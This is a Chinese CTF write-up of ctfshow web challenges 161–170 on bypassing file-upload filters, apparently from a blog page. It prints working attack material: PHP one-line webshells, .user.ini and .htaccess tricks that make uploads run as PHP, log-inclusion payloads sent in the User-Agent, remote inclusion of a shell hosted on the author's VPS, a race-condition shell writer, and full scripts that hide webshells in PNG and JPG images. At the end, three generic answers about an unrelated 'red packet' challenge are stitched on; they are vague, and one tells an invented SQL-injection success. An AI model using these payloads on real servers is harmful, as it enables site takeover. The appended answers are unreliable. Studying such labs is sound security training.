ctfshow学习记录-web入门(文件上传161-170)


web161

解答:这道题出的挺拐。。
前端限制png,可以删除绕过。
在这里插入图片描述

抓包上传测试了好多次,上传内容删了不成功,加上png文件头不成功,都是提示文件类型不合规。
(返回的信息,可以用控制台看一下。)
在这里插入图片描述

上传常规图片也不成功,后端判断可能不合常规。改个gif的文件头试试(GIF89a),也是一个常用的图片文件头。
竟然成功了。。。。
在这里插入图片描述

再测试一下是不是限制文件名后缀。发现只要保证文件头是GIF89a就可以上传.user.ini
在这里插入图片描述

后面的内容限制就和上一道题一样了,还是利用日志包含。在user-agent写上一句话马。

GIF89a
<?=include"/var/l"."og/nginx/access.lo"."g"?>

在这里插入图片描述

蚁剑或者post,/upload/index.php
在这里插入图片描述


web162-163

解答:还是前端png,后端GIF89a。
内容上限制小数点.,这样就不能拼接包含log了。

方法一:include包含,继续上传.user.ini
auto_prepend_file=jiuzhen
在这里插入图片描述

在自己vps写上一句话木马。然后将ip转为长地址,include包含,在连接/upload/index.php。
在这里插入图片描述
再上传图片,内容为

GIF89a
<?=include"http://ip的长地址/ma的路径"?>

在这里插入图片描述

最后就是获取flag了。
在这里插入图片描述

web163上传图片后,会被删除,所以需要在上传的瞬间,就post命令执行。

还可以直接在配置文件里远程包含,然后访问/upload/index.php。这样就不用即时去post了。(这个要求服务器开启了远程包含选项)

#.user.ini

GIF89a
auto_prepend_file=http://ip的长地址/ma的路径

在这里插入图片描述

附个ip与长整型互换的脚本。
python ip地址、长整形互相转换@一杯冰糖

#IP转换为长整型
def ip2long(ip):
    ip_list=ip.split('.') #⾸先先把ip的组成以'.'切割然后逐次转换成对应的⼆进制
    result = 0
    for i in range(4): #0,1,2,3
        result = result+int(ip_list[i])*256**(3-i)
    return result

#长整型转换为IP
def long2ip(long):
    floor_list = []
    num = long
    for i in reversed(range(4)):
        res = divmod(num,256**i)
        floor_list.append(str(res[0]))
        num = res[1]
    return '.'.join(floor_list)

print(ip2long('127.0.0.1'))

方法二:竞争上传,竞争环境都是半夜开,我就不测试了。
大概是这样的:上传一个php文件,这个php文件会短暂的存在上传目录下。

文件上传到服务器,服务器会对文件的合法性进行检测,不合法再删除。如果在被删除之前,我们不停的去访问这个文件,我们有可能访问到上传的文件,并且执行。

我们在这个php文件里以下代码:

<?php
$f=fopen("7.php","w");
fputs($f,'<?php eval($_POST[7]);?>');?>

只要访问到,就能写入木马。
这里就可以写脚本爆破,或者用burp爆破了。一个不停上传,一个不停的访问,知道访问成功,木马也就写进去了。

下面是我做其他题竞争上传的两个爆破截图,可以参考:
在这里插入图片描述
在这里插入图片描述


web164

解答:木马信息多次测试都上传不上去,上传了一个正常图片发现可以上传。
点击查看图片发现页面跳转,同时图片显示,存在文件包含。
在这里插入图片描述

尝试生成一个图片马。

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./7.png');
?>
#<?=$_GET[0]($_POST[1]);?>

上传后再执行命令:
get:&0=system
post:1=tar flag.php
在这里插入图片描述


web165

解答

上传一个正常图片,访问图片发现一段信息,表示是jpg二次渲染。
在这里插入图片描述

群主把他用的图片放群里了,可以拿来直接用~

1)先上传图片,选择查看图片,右击图片下载另为存。

2)就是脚本渲染了,国外大佬的脚本~

<?php
    /*

    The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
    It is necessary that the size and quality of the initial image are the same as those of the processed image.

    1) Upload an arbitrary image via secured files upload script
    2) Save the processed image and launch:
    jpg_payload.php <jpg_name.jpg>

    In case of successful injection you will get a specially crafted image, which should be uploaded again.

    Since the most straightforward injection method is used, the following problems can occur:
    1) After the second processing the injected data may become partially corrupted.
    2) The jpg_payload.php script outputs "Something's wrong".
    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

    Sergey Bobrov @Black2Fan.

    See also:
    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

    */
		
    $miniPayload = "<?=eval(\$_POST[7]);?>"; //注意$转义


    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

php执行代码成功。(那个failed无视,那是我的版本不兼容的问题)
在这里插入图片描述

渲染后的图片。
在这里插入图片描述

然后查看图片,抓包,get转post,然后就可以执行命令了。

在这里插入图片描述


web166

解答

上传压缩包。上传的内容能够下载,那么可能存在文件包含。
在这里插入图片描述

那么我们在压缩包里最后面加上一句话。
在这里插入图片描述

再次上传,访问上传的压缩包,再抓包,可以成功执行命令。
在这里插入图片描述

获取flag。
在这里插入图片描述


web167

解答:提示:httpd
根据提示可以知道本题是上传.htaccess。(具体详情可看“进一步学习”里的链接)

要求上传格式是jpg格式。
在这里插入图片描述

上传jpg图片
在这里插入图片描述

再上传.htaccess,我这里限制文件名字匹配jz,也可以不限制。

<FilesMatch "jz">
SetHandler application/x-httpd-php
</FilesMatch>

在这里插入图片描述

访问上传的图片就可以执行命令了。
在这里插入图片描述

进一步学习

.htaccess 文件 在文件上传中的使用

.htaccess文件使用要开启apache httpd.config AllowOverride All


web168

解答:要求上传png图片。
在这里插入图片描述

burp抓包后,发现可以修改后缀为php。不知道具体的免杀是什么,但是短标签加反引号一般还是可以执行,这里就直接这么写了。(emmm忘截图了,具体可参考下一个截图,就是在图片最后加上PHP语句,然后访问即可)
上传目录是/upload/

<?=`ls ..`;

在这里插入图片描述

发现flag文件是flagaa.php。
在这里插入图片描述

<?=`tac ../flagaa.php`;

获取flag:
在这里插入图片描述


web169-170

解答:前端要求zip。后端要求png,但是还是可以修改后缀。
过滤了<,考虑包含文件了,包含日志。
在这里插入图片描述

要包含日志需要保证有php文件,先上传一个index.php的文件,内容无所谓。

接着上传.user.ini,直接在.user.ini里包含日志路径。
auto_prepend_file=/var/log/nginx/access.log
可以同时在User-Agent处写php代码,一起发送。
在这里插入图片描述

接下来访问/upload/即可。
在这里插入图片描述

获取flag:
在这里插入图片描述

### 回答1: ctfshow-web-web红包题是一道CTF比赛中的网络安全题目。这道题目的背景是一个在线购物网站,要求我们通过安全漏洞来获得网站的红包。 首先,我们可以检查网站的源代码,寻找可能存在的漏洞。在网站的前端页面中,我们注意到了一个提交订单的功能,并且发现了其中一个参数可以被用户任意修改。这可能导致一个被称为SQL注入的漏洞。 我们试图通过在参数中插入恶意代码来进行SQL注入攻击。我们发现当我们输入`' or 1=1 -- `时,查询结果会返回所有订单记录,而不仅仅是当前用户的订单。这表明成功利用了SQL注入漏洞。 接下来,我们要尝试进一步利用这个漏洞来获取网站的红包。我们可以通过构建特制的SQL语句来绕过登录过程,直接获取红包的信息。 最终,我们成功地利用了网站存在的漏洞,获取到了红包的相关信息。这个过程展示了在网络安全竞赛中,如何通过分析代码和利用漏洞来实现攻击的目标。 在这个过程中,我们需要具备对SQL注入漏洞的理解和掌握,并且需要有一定的编程和网络安全知识。通过解决这样的题目,我们可以提高我们对网络安全攻防的认识和技能,以更好地保护网络安全。 ### 回答2: ctfshow-web-web红包题是一个CTF(Capture the Flag)比赛中的Web题目,目标是通过分析Web应用程序的漏洞来获取红包。CTF比赛是一种网络安全竞赛,在这种比赛中,参赛者需要通过解决各种不同类型的安全挑战来积分。 该题目中的Web应用程序可能存在一些漏洞,我们需要通过分析源代码、网络请求和服务器响应等信息来找到红包的位置和获取红包的方法。 首先,我们可以查看网页源代码,寻找可能的注入点、敏感信息或其他漏洞。同时,我们还可以使用开发者工具中的网络分析功能来查看浏览器和服务器之间的通信内容,找到可能存在的漏洞、密钥或其他敏感信息。 其次,我们可以进行输入测试,尝试不同的输入来检查是否存在注入漏洞、文件包含漏洞、路径遍历漏洞等。通过测试和观察响应结果,我们可以得到一些重要的信息和线索。 最后,我们可以分析服务器响应和错误信息,查找可能存在的网站配置错误、逻辑漏洞或其它任何可以利用的安全问题。此外,我们还可以使用常见的Web漏洞扫描工具,如Burp Suite、OWASP ZAP等,来辅助我们发现潜在的漏洞。 通过以上的分析和测试,我们有可能找到获取红包的方法。然而,具体的解题方法还需要根据题目中的具体情况来确定。在CTF比赛中,每个题目的设置都可能不同,解题的方法和思路也会有所差异。因此,在解题过程中,要保持敏锐的观察力和灵活的思维,尝试不同的方法和技巧,才能成功获取红包并完成任务。 ### 回答3: ctfshow-web-web红包题是一个CTF比赛中的网络题目,其目标是寻找并利用网页内的漏洞,获取红包。 首先,我们需要分析该网页的源代码,寻找可能存在的漏洞。可以通过审查元素、浏览器开发者工具等方式进行源代码分析。 其中,可能存在的漏洞包括但不限于: 1. 文件路径遍历漏洞:通过对URL的参数进行修改,尝试访问其他目录中的文件。 2. XSS漏洞:通过在用户输入的地方注入恶意代码,实现攻击者想要的操作。 3. SQL注入漏洞:通过修改数据库查询参数,获取未授权的数据。 4. 文件上传漏洞:上传恶意文件并执行。 一旦发现漏洞,我们需要进一步利用它们来获取红包。例如,如果存在文件路径遍历漏洞,我们可以尝试通过修改URL参数的方式,访问网站服务器上存放红包的文件目录,获取目录中的文件。 如果存在XSS漏洞,我们可以尝试在用户输入的地方注入一段JavaScript代码,以获取网页中的敏感信息或执行一些恶意操作,如窃取cookies。 如果存在SQL注入漏洞,我们可以尝试通过修改数据库查询参数,获取未授权的数据,如红包的具体位置或密码。 如果存在文件上传漏洞,我们可以尝试上传一个特殊设计的恶意文件,以执行任意命令或获取服务器上的文件。 综上所述,ctfshow-web-web红包题需要我们深入分析网页代码,发现可能存在的漏洞,并利用这些漏洞获取红包。这个过程需要我们对常见的漏洞类型有一定的了解,并具备相关的漏洞利用技术。
评论 12
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值